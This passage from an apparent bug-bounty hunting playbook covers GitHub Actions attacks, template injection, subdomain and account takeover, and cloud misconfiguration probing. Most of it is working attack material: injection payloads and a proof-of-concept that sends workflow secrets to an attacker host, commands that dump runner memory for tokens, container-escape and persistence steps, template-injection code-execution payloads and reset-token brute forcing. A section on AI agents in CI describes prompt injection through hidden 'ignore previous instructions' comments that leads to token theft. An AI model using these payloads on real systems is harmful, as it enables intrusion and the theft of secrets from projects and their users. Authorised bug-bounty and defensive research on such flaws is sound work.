819github.event.issue.title / .body
820github.event.pull_request.title / .body / .head.ref
821github.event.comment.body
822github.event.review.body
823github.event.pages.*.page_name
824github.event.commits.*.message / .author.name
825github.event.head_commit.message / .author.name
826github.event.workflow_run.head_branch
827github.head_ref
828```
829
830- [ ] **Expression injection** — `${{ github.event.issue.title }}` in `run:` block = RCE
831 ```yaml
832 # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
833 run: echo "${{ github.event.issue.title }}"
834
835 # FIXED — use env var (shell-quoted, not expression-interpolated)
836 env:
837 TITLE: ${{ github.event.issue.title }}
838 run: echo "$TITLE"
839 ```
840- [ ] **Environment variable injection** — untrusted input → `$GITHUB_ENV`
841 ```yaml
842 # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
843 run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
844
845 # FIXED — use heredoc delimiter
846 run: |
847 {
848 echo "BRANCH<<EOF"
849 echo "${{ github.head_ref }}"
850 echo "EOF"
851 } >> $GITHUB_ENV
852 ```
853- [ ] **PATH injection** — untrusted input → `$GITHUB_PATH` = arbitrary binary execution
854- [ ] **Output clobbering** — untrusted input → `$GITHUB_OUTPUT` without heredoc delimiter = downstream job manipulation
855- [ ] **Argument injection** — untrusted input as CLI argument (e.g., `docker run ${{ ... }}`)
856 ```yaml
857 # VULNERABLE
858 run: docker run ${{ github.event.pull_request.body }}
859
860 # FIXED — end-of-options marker + env var
861 env:
862 INPUT: ${{ github.event.pull_request.body }}
863 run: docker run -- "$INPUT"
864 ```
865- [ ] **Request forgery (SSRF)** — attacker-controlled URL in `curl`/`wget` within workflow
866
867### Category 2: Pipeline Poisoning & Untrusted Checkout
868
869**Root cause**: Privileged triggers (`pull_request_target`, `workflow_run`) checkout attacker's PR code, which then runs with repository secrets.
870
871- [ ] **Untrusted checkout** — `actions/checkout` on `pull_request_target` without explicit safe ref
872 ```yaml
873 # VULNERABLE — checks out attacker's PR code with repo secrets
874 on: pull_request_target
875 jobs:
876 build:
877 steps:
878 - uses: actions/checkout@v4
879 with:
880 ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE
881 - run: make build # runs attacker's Makefile with secrets
882
883 # FIXED — only checkout base branch, or use read-only permissions
884 permissions: {}
885 steps:
886 - uses: actions/checkout@v4 # checks out base branch by default
887 ```
888- [ ] **TOCTOU (Time-of-Check-Time-of-Use)** — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
889- [ ] **Reusable workflow taint** — `secrets: inherit` passes all secrets to called workflow that processes untrusted input
890- [ ] **Cache poisoning** — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
891- [ ] **Cache poisoning (poisonable step)** — unsafe checkout followed by build step before cache save
892- [ ] **Artifact poisoning** — `actions/download-artifact` from untrusted `workflow_run` without validation
893 ```yaml
894 # VULNERABLE — downloads artifact from untrusted workflow, then executes it
895 on: workflow_run
896 steps:
897 - uses: actions/download-artifact@v4
898 - run: ./downloaded-binary # attacker-controlled binary
899
900 # FIXED — verify artifact hash/signature before execution
901 ```
902- [ ] **Artipacked** — `actions/checkout` with `persist-credentials: true` (default) leaks `.git/config` credentials in uploaded artifacts
903 ```yaml
904 # FIXED
905 - uses: actions/checkout@v4
906 with:
907 persist-credentials: false
908 ```
909
910### Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
911
912- [ ] **Unpinned actions** — `uses: actions/checkout@v4` (mutable tag) instead of SHA pin
913 ```yaml
914 # VULNERABLE — tag can be force-pushed
915 uses: actions/checkout@v4
916
917 # FIXED — pinned to immutable commit SHA
918 uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
919 ```
920- [ ] **Impostor commit** — fork network allows pushing commits with SHA that appears to belong to upstream repo
921- [ ] **Ref confusion** — ambiguous tag/branch names exploited to load unintended action version
922- [ ] **Known vulnerable actions** — check actions against GHSA database (sisakulint detects automatically)
923- [ ] **Archived actions** — unmaintained action with unpatched vulnerabilities
924- [ ] **Unpinned container images** — `image: ubuntu:latest` instead of SHA256 digest pin
925
926### Category 4: Credential & Secret Protection
927
928- [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow
929- [ ] **Secrets in artifacts** — uploaded artifacts contain `.env`, credentials, or hidden files
930 ```yaml
931 # FIXED — exclude hidden files
932 - uses: actions/upload-artifact@v4
933 with:
934 include-hidden-files: false
935 ```
936- [ ] **Unmasked secrets** — `fromJson()` derived values bypass GitHub's automatic masking
937 ```yaml
938 # FIXED — manually mask derived secrets
939 run: |
940 TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
941 echo "::add-mask::$TOKEN"
942 ```
943- [ ] **Excessive `secrets: inherit`** — reusable workflow call inherits all secrets when it only needs one
944- [ ] **Hardcoded credentials** — API keys, passwords, tokens directly in workflow YAML
945
946### Category 5: Triggers & Access Control (CICD-SEC-01)
947
948- [ ] **Dangerous triggers without mitigation** — `pull_request_target` or `workflow_run` with no `permissions: {}`, no approval gate, no ref restriction
949- [ ] **Dangerous triggers with partial mitigation** — some protections present but bypassable
950- [ ] **Label-based approval bypass** — `if: contains(github.event.pull_request.labels.*.name, 'approved')` is spoofable (attacker can add labels)
951- [ ] **Bot condition spoofing** — `if: github.actor != 'dependabot[bot]'` is trivially bypassed by naming account similarly
952- [ ] **Excessive GITHUB_TOKEN permissions** — `permissions: write-all` when only `contents: read` needed
953- [ ] **Self-hosted runners in public repos** — untrusted PRs execute on org infrastructure = container escape → lateral movement
954- [ ] **OIDC token theft** — CI runners expose OIDC tokens that grant cloud access
955
956### Category 6: AI Agent Security (NEW — 2025+)
957
958- [ ] **Unrestricted AI trigger** — `allowed_non_write_users: "*"` lets any user trigger AI agent execution
959- [ ] **Excessive tool grants** — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
960- [ ] **Prompt injection via workflow context** — `${{ github.event.issue.body }}` interpolated into AI agent prompt parameter
961
962### Hunting Workflow
963
964```
9651. Recon: find all .github/workflows/*.yml in target's public repos
9662. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
9673. Triage: Critical/High findings → manual verification
9684. For each finding:
969 a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
970 b. What secrets are accessible? (check permissions: block, secrets usage)
971 c. What's the blast radius? (repo secrets → deploy keys → cloud access)
9725. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
9736. Prove: show secret exfiltration, code execution, or artifact tampering
974```
975
976### Expression Injection PoC Template
977
978```bash
979# Step 1: Create an issue with injection payload in title
980gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
981
982# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
983# CVSS: 9.3 Critical (RCE with repo secrets)
984```
985
986### Real-World GHSAs (Proven Payouts)
987
988| GHSA | Action | Bug Class | Severity |
989|---|---|---|---|
990| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
991| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
992| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
993| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
994| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
995| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
996| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
997| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
998| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
999| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
1000
1001### A→B Signal: CI/CD Chains
1002
1003```
1004Expression injection → secret exfiltration → cloud account takeover
1005Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
1006Artifact poisoning → release binary tampering → supply chain compromise
1007Cache poisoning → build output manipulation → backdoored deployment
1008Impostor commit → pinned action hijack → all downstream repos affected
1009OIDC token theft → cloud metadata → S3/GCS read → customer data
1010Self-hosted runner → container escape → internal network pivot
1011```
1012
1013### Deep-Dive: From sisakulint Finding to Bounty Report
1014
1015sisakulint findings are **potentially exploitable** — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
1016
1017#### 1. Code Injection / Argument Injection
1018
1019**Gate question:** Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
1020
1021**Verification depth:**
10221. **Trigger accessibility** — `issues: opened` and `issue_comment: created` are triggerable by ANY GitHub user. `pull_request_target` is triggerable via fork PR. Check if there's an `if:` condition filtering by actor/association.
10232. **Direct vs transitive taint** — The workflow file itself may look safe. Cycode found Bazel's $13K bug because `cherry-picker.yml` passed `${{ github.event.issue.title }}` via `with:` to a **composite action in another repo** (`bazelbuild/continuous-integration`). The composite action's `action.yml` had `run: TITLE="${{ inputs.issue-title }}"`. Conventional scanners (actionlint) missed this because they don't follow `uses:` into external composite actions. **Always fetch and read the composite action's action.yml.**
10243. **Payload construction** — Branch names cannot contain spaces. Ultralytics YOLO attacker used `${IFS}` (Internal Field Separator) and Bash brace expansion `{curl,-sSfL,URL}` to bypass this. Issue titles/bodies have no such restriction.
10254. **Secrets reachability** — Check `permissions:` at workflow AND job level. No explicit `permissions:` block = repo default (often `write-all`). Check `env:` blocks for `${{ secrets.* }}`. Check if `GITHUB_TOKEN` has write permissions.
10265. **Impact chain** — Bazel: issue title injection → composite action shell injection → `BAZEL_IO_TOKEN` + `GITHUB_TOKEN (write-all)` → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
1027
1028**Kill signals:** `${{ contains(...) }}` or `${{ startsWith(...) }}` returning booleans are NOT injectable — false positive. `${{ github.event.pull_request.labels.*.name }}` inside `contains()` evaluates to `true`/`false`, not the label text.
1029
1030#### 2. Untrusted Checkout (Pwn Request)
1031
1032**Gate question:** Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
1033
1034**Verification depth:**
10351. **Explicit vs implicit code execution** — The Flank $7.5K bug: `gh pr checkout` → `gradle/gradle-build-action` runs Gradle → Gradle auto-evaluates `settings.gradle.kts` as Kotlin script. The attacker never wrote a `run:` command. **Any build tool that reads config from the repo is an execution vector**: `Makefile`, `package.json` (postinstall scripts), `setup.py`, `build.gradle.kts`, `.cargo/config.toml`, `Gemfile`.
10362. **Issue_comment is as dangerous as pull_request_target** — Rspack NPM token theft: `issue_comment` trigger + `refs/pull/${{ github.event.issue.number }}/head` checkout. `issue_comment` runs in base repo context with full secrets. Draft PRs are included. No contributor status check. **Always check issue_comment workflows for PR checkout patterns.**
10373. **Self-hosted runner escalation** — If `runs-on:` contains `self-hosted`, check: (a) Is the runner ephemeral? (`--ephemeral` in config.sh). (b) Is the runner in Docker group? (`docker run -v /:/host --privileged`). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: `RUNNER_TRACKING_ID=0` + install attacker's runner agent) → wait for privileged workflow → steal PATs from `.git/config` or process memory.
10384. **TOCTOU** — Label-gated `pull_request_target` workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The `ref:` at checkout time resolves to the new commit. **Mutable refs (`github.event.pull_request.head.sha` at trigger time vs checkout time) are the root cause.**
10395. **Post-exploitation** — After initial access, enumerate all secrets: `env | base64`, `cat /proc/self/environ`, `gcore $(pgrep Runner.Worker)` + `strings core.* | grep ghp_`. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
1040
1041**Kill signals:** `if: "!github.event.pull_request.head.repo.fork"` blocks external attackers. `permissions: {}` at workflow level with only `contents: read` at job level limits damage. Ephemeral runners with `--ephemeral` flag prevent persistence.
1042
1043#### 3. Artifact Poisoning
1044
1045**Gate question:** Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
1046
1047**Verification depth:**
10481. **Cross-workflow artifact flow** — Same-workflow upload/download (build job → test job via `needs:`) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: `pull_request` workflow uploads → separate `workflow_run` workflow downloads. `workflow_run` triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
10492. **Download path matters** — `actions/download-artifact` with `path: .` or workspace-relative paths (`grafana-server/bin`) can overwrite source code, build scripts, or binaries. Safe pattern: extract to `${{ runner.temp }}/artifacts`.
10503. **Source validation** — Does the `workflow_run` consumer check `github.event.workflow_run.head_repository.full_name != github.repository`? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
10514. **ArtiPACKED (persist-credentials)** — `actions/checkout` defaults to `persist-credentials: true`. This writes `GITHUB_TOKEN` to `.git/config`. If the artifact upload path includes `.git/` (e.g., `path: .`), the token is publicly downloadable from the Actions artifact. **Check**: does any `upload-artifact` step use `path: .` or a broad path that includes `.git/`?
1052
1053**Kill signals:** Upload and download in the same workflow run (connected by `needs:`). `workflow_run` consumer that explicitly checks fork origin. `persist-credentials: false` on checkout.
1054
1055#### 4. Cache Poisoning
1056
1057**Gate question:** Can a fork PR write a cache entry that the default branch later restores in a privileged context?
1058
1059**CRITICAL: GitHub's cache scoping does NOT fully prevent this.** A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (`hashFiles('package-lock.json')`) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
1060
1061**Verification depth:**
10621. **Key predictability** — `key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}` is fully predictable. Adding `github.sha` or `github.run_id` to the key makes it unpredictable. **Check every cache key for the presence of an unpredictable component.**
10632. **Cache hierarchy exploitation** — `workflow_run` and `workflow_dispatch` workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The `run-dashboard-search-e2e.yml` pattern: `workflow_run` trigger → `actions/cache` with `hashFiles()` key → all PR workflows read this cache.
10643. **Payload injection** — Cacheract: inject malware into package manager caches (`node_modules/.cache`, `~/.cache/pip`, `~/.gradle/caches`). The malware self-perpetuates because each restore → build → save cycle preserves the payload. **Cache TTL is 7 days** — the payload survives across multiple workflow runs.
10654. **Privileged consumption** — The cache is restored in a `push` or `schedule` workflow on the default branch. These workflows have full `secrets` access. The poisoned dependency executes during `npm install` / `pip install` / `gradle build` and exfiltrates secrets.
10665. **Clinejection chain** — Prompt injection → AI agent runs `npm install` from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
1067
1068**Kill signals:** Cache key includes `github.sha` or `github.run_id`. Separate cache keys per workflow. `actions/cache/restore` (read-only) instead of `actions/cache` (read-write) in PR workflows.
1069
1070#### 5. Self-Hosted Runners
1071
1072**Gate question:** Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
1073
1074**Verification depth:**
10751. **Approval settings** — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
10762. **Runner persistence** — Non-ephemeral runners retain state between jobs. `RUNNER_TRACKING_ID=0` prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (`docker run -d --restart always`) also survive cleanup.
10773. **Runner-on-Runner (RoR)** — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. **No C2 server needed. GitHub itself is the C2.**
10784. **Lateral movement** — RoR persistence → wait for privileged `push`/`schedule` workflows → steal tokens from `.git/config`, `$GITHUB_ENV`, `/proc/PID/environ`, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → `pip install pytorch` supply chain.
10795. **Docker group escalation** — `docker run -v /:/host --privileged alpine chroot /host` → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
1080
1081**Kill signals:** `--ephemeral` flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
1082
1083#### 6. Supply Chain (commit-sha / impostor-commit / ref-confusion)
1084
1085**Gate question:** Does the workflow use mutable tags (`@v1`, `@v2`) for actions, and could those tags be replaced?
1086
1087**Verification depth:**
10881. **Tag mutability** — `git tag -f v1 <malicious-commit>` replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
10892. **Impostor commits** — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's `uses:`. GitHub resolves it because the SHA exists in the shared object store.
10903. **RepoJacking** — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used `MirrorNG/unity-runner` → MirrorNG renamed to MirageNet → `MirrorNG` was claimable. **Check**: `GET /users/<action-owner>` returns 404? Takeover possible.
10914. **Payload stealth** — tj-actions memdump.py: extract secrets from Runner.Worker process memory via `/proc/PID/maps` + `/proc/PID/mem`, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
1092
1093**Kill signals:** Full 40-char SHA pinning (`uses: actions/checkout@b4ffde65...`). Dependabot configured for `github-actions` ecosystem. Organization-level action allowlist.
1094
1095#### 7. AI Agent Security
1096
1097**Gate question:** Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
1098
1099**Verification depth:**
11001. **Trigger + prompt source** — `issues: opened` → AI triage bot reads `github.event.issue.body`. The body IS the prompt. HTML comments (`<!-- ignore previous instructions -->`) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
11012. **Tool permissions** — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. `allowed_non_write_users: "*"` means ANY user can trigger.
11023. **Multi-phase chain** — Clinejection: prompt injection → AI runs `npm install` from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. **A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.**
1103
1104**Kill signals:** `author_association == 'MEMBER' || 'OWNER'` check before AI processing. `--read-only --no-exec` flags on AI CLI. `permissions: {}` at workflow level.
1105
1106#### 8. Permissions / Secrets Hygiene
1107
1108**Not standalone bugs** — these are force multipliers. A `code-injection-medium` with `permissions: write-all` is Critical. The same injection with `permissions: { contents: read }` is limited.
1109
1110**Chaining checklist:**
1111- `secrets: inherit` on reusable workflow call → all org secrets accessible to called workflow
1112- `permissions:` block missing → repo default (often write-all)
1113- `GITHUB_TOKEN` with `contents: write` → CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
1114
1115**Key references:**
1116- [sisaku-security/agent-idea/bugbountyreport](https://github.com/sisaku-security/agent-idea/tree/main/bugbountyreport) — 36 real-world reports with full attack chains
1117- [sisakulint docs/advisory](https://sisaku-security.github.io/lint/docs/advisory/) — 38 GHSAs with detection mapping
1118- [DEF CON 32: Grand Theft Actions](https://media.defcon.org/DEF%20CON%2032/) — Khan & Stawinski, $250K+ in self-hosted runner bugs
1119- [Synacktiv: GitHub Actions Exploitation (5 parts)](https://www.synacktiv.com/en/publications/github-actions-exploitation-introduction)
1120
1121## SSTI -- Server-Side Template Injection
1122
1123### Detection Payloads
1124```
1125{{7*7}} -> 49 = Jinja2 / Twig / generic
1126${7*7} -> 49 = Freemarker / Pebble / Velocity
1127<%= 7*7 %> -> 49 = ERB (Ruby)
1128#{7*7} -> 49 = Mako / some Ruby
1129*{7*7} -> 49 = Spring (Thymeleaf)
1130{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
1131```
1132
1133### Where to Test
1134- Name/bio/description fields (profile pages)
1135- Email templates (invoice name, username in confirmation email)
1136- Custom error messages
1137- PDF generators (invoice, report export)
1138- URL path parameters
1139- Search queries reflected in results
1140
1141### Jinja2 -> RCE (Python / Flask)
1142```python
1143{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
1144```
1145
1146### Twig -> RCE (PHP / Symfony)
1147```php
1148{{["id"]|filter("system")}}
1149```
1150
1151### Freemarker -> RCE (Java)
1152```
1153<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
1154```
1155
1156### ERB -> RCE (Ruby on Rails)
1157```ruby
1158<%= `id` %>
1159```
1160
1161## Subdomain Takeover
1162
1163### Detection
1164```bash
1165# Check for dangling CNAMEs
1166cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
1167# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
1168
1169# Automated takeover detection
1170nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
1171```
1172
1173### Quick-Kill Fingerprints
1174```
1175"There isn't a GitHub Pages site here" -> GitHub Pages
1176"NoSuchBucket" -> AWS S3
1177"No such app" -> Heroku
1178"404 Web Site not found" -> Azure App Service
1179"Fastly error: unknown domain" -> Fastly CDN
1180"project not found" -> GitLab Pages
1181"It looks like you may have typed..." -> Shopify
1182```
1183
1184### Impact Escalation
1185- Basic takeover: serve page under target.com subdomain -> Low/Medium
1186- + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
1187- + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
1188- + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
1189
1190## ATO -- Account Takeover (Complete Taxonomy)
1191
1192### Path 1: Password Reset Poisoning (Host Header Injection)
1193```bash
1194POST /forgot-password
1195Host: attacker.com
1196Content-Type: application/x-www-form-urlencoded
1197email=victim@company.com
1198# If reset link = https://attacker.com/reset?token=XXXX -> ATO
1199# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
1200```
1201
1202### Path 2: Reset Token in Referrer Leak
1203After clicking reset link, if page loads external resources -> token in Referer header to external domain.
1204
1205### Path 3: Predictable / Weak Reset Tokens
1206```bash
1207# If token < 16 hex chars or numeric only -> brute-forceable
1208ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
1209```
1210
1211### Path 4: Token Not Expiring / Reuse
1212Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
1213
1214### Path 5: Email Change Without Re-Authentication
1215```bash
1216PUT /api/user/email
1217{"new_email": "attacker@evil.com"}
1218# If no current_password required -> attacker changes email -> locks out victim
1219```
1220
1221### Path 6: OAuth Account Linking Abuse
1222Can you link an OAuth account from a different email to an existing account?
1223
1224### Path 7: Session Fixation
1225GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
1226
1227## Cloud / Infra Misconfigs
1228
1229### S3 / GCS / Azure Blob
1230```bash
1231# S3 public listing
1232aws s3 ls s3://target-bucket-name --no-sign-request
1233
1234# Try common names
1235for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
1236 curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
1237done
1238```
1239
1240### EC2 Metadata (via SSRF)
1241```bash
1242http://169.254.169.254/latest/meta-data/iam/security-credentials/
1243# Returns role name, then:
1244http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
1245# Returns AccessKeyId, SecretAccessKey, Token -> Critical
1246
1247# GCP (needs header Metadata-Flavor: Google):
1248http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
1249
1250# Azure (needs header Metadata: true):
1251http://169.254.169.254/metadata/instance?api-version=2021-02-01
1252```
1253
1254### Firebase Open Rules
1255```bash
1256curl -s "https://TARGET-APP.firebaseio.com/.json"
1257# If data returned -> open read
1258curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
1259# If success -> open write -> Critical
1260```
1261
1262### Exposed Admin Panels
1263```bash
1264/jenkins /grafana /kibana /elasticsearch
1265/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
1266/.env /config.json /server-status /actuator/env
1267```
1268
1269### Kubernetes / Docker
1270```bash
1271# K8s API (unauthenticated):
1272curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
1273# Docker API:
1274curl -s http://TARGET:2375/containers/json
1275```
1276
1277---
1278
1279# PHASE 4: VALIDATE
1280
1281## The 7-Question Gate (Run BEFORE Writing ANY Report)
1282
1283All 7 must be YES. Any NO -> STOP.
1284
1285### Q1: Can I exploit this RIGHT NOW with a real PoC?
1286Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
1287
1288### Q2: Does it affect a REAL user who took NO unusual actions?
1289No "the user would need to..." with 5 preconditions. Victim did nothing special.
1290
1291### Q3: Is the impact concrete (money, PII, ATO, RCE)?
1292"Technically possible" is not impact. "I read victim's SSN" is impact.
1293
1294### Q4: Is this in scope per the program policy?
1295Check the exact domain/endpoint against the program's scope page.
1296
1297### Q5: Did I check Hacktivity/changelog for duplicates?
1298Search the program's disclosed reports and recent changelog entries.
1299
1300### Q6: Is this NOT on the "always rejected" list?
1301Check the list below. If it's there and you can't chain it -> KILL IT.
1302
1303### Q7: Would a triager reading this say "yes, that's a real bug"?
1304Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
1305
1306## 4 Pre-Submission Gates
1307
1308### Gate 0: Reality Check (30 seconds)
1309```
1310[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
1311[ ] The bug is in scope -- checked program scope explicitly
1312[ ] I can reproduce it from scratch (not just once)
1313[ ] I have evidence (screenshot, response, video)
1314```
1315
1316### Gate 1: Impact Validation (2 minutes)
1317```
1318[ ] I can answer: "What can an attacker DO that they couldn't before?"
1319[ ] The answer is more than "see non-sensitive data"
1320[ ] There's a real victim: another user's data, company's data, financial loss
1321[ ] I'm not relying on the user doing something unlikely
1322```
1323
1324### Gate 2: Deduplication Check (5 minutes)
1325```
1326[ ] Searched HackerOne Hacktivity for this program + similar bug title
1327[ ] Searched GitHub issues for target repo
1328[ ] Read the most recent 5 disclosed reports for this program
1329[ ] This is not a "known issue" in their changelog or public docs
1330```
1331
1332### Gate 3: Report Quality (10 minutes)
1333```
1334[ ] Title: One sentence, contains vuln class + location + impact
1335[ ] Steps to reproduce: Copy-pasteable HTTP request
1336[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
1337[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
1338[ ] Remediation: 1-2 sentences of concrete fix
1339```
1340
1341## CVSS 3.1 Quick Guide
1342
1343| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
1344|--------|-------------|----------------|--------------|-----------------|
1345| Attack Vector | Physical | Local | Adjacent | Network |
1346| Privileges | High | Low | None | None |
1347| User Interaction | Required | Required | None | None |
1348| Impact | Partial | Partial | High | High (all 3) |
1349
1350### Typical Scores by Bug Class
1351
1352| Bug | Typical CVSS | Severity |
1353|----|------|---------|
1354| IDOR (read PII) | 6.5 | Medium |
1355| IDOR (write/delete) | 7.5 | High |
1356| Auth bypass -> admin | 9.8 | Critical |
1357| Stored XSS | 5.4-8.8 | Med-High |
1358| SQLi (data exfil) | 8.6 | High |
1359| SSRF (cloud metadata) | 9.1 | Critical |
1360| Race condition (double spend) | 7.5 | High |
1361| GraphQL auth bypass | 8.7 | High |
1362| JWT none algorithm | 9.1 | Critical |
1363
1364---
1365
1366# ALWAYS REJECTED -- Never Submit These
1367
1368Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
1369
1370**N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.**
1371
1372## Conditionally Valid With Chain
1373
1374These low findings become valid bugs when chained:
1375
1376| Low Finding | + Chain | = Valid Bug |
1377|------------|---------|-------------|
1378| Open redirect | + OAuth code theft | ATO |
1379| Clickjacking | + sensitive action + PoC | Account action |
1380| CORS wildcard | + credentialed exfil | Data theft |
1381| CSRF | + sensitive state change | Account takeover |
1382| No rate limit | + OTP brute force | ATO |
1383| SSRF (DNS only) | + internal access proof | Internal network access |
1384| Host header injection | + password reset poisoning | ATO |
1385| Self-XSS | + login CSRF | Stored XSS on victim |
1386
1387---
1388
1389# PHASE 5: REPORT
1390
1391## HackerOne Report Template
1392
1393```
1394Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
1395
1396## Summary
1397[2-3 sentences: what it is, where it is, what attacker can do]
1398
1399## Steps To Reproduce
14001. Log in as attacker (account A)
14012. Send request: [paste exact request]
14023. Observe: [exact response showing the bug]
14034. Confirm: [what the attacker gained]
1404
1405## Supporting Material
1406[Screenshot / video of exploitation]
1407[Burp Suite request/response]
1408
1409## Impact
1410An attacker can [specific action] resulting in [specific harm].
1411[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
1412
1413## Severity Assessment
1414CVSS 3.1 Score: X.X ([Severity label])
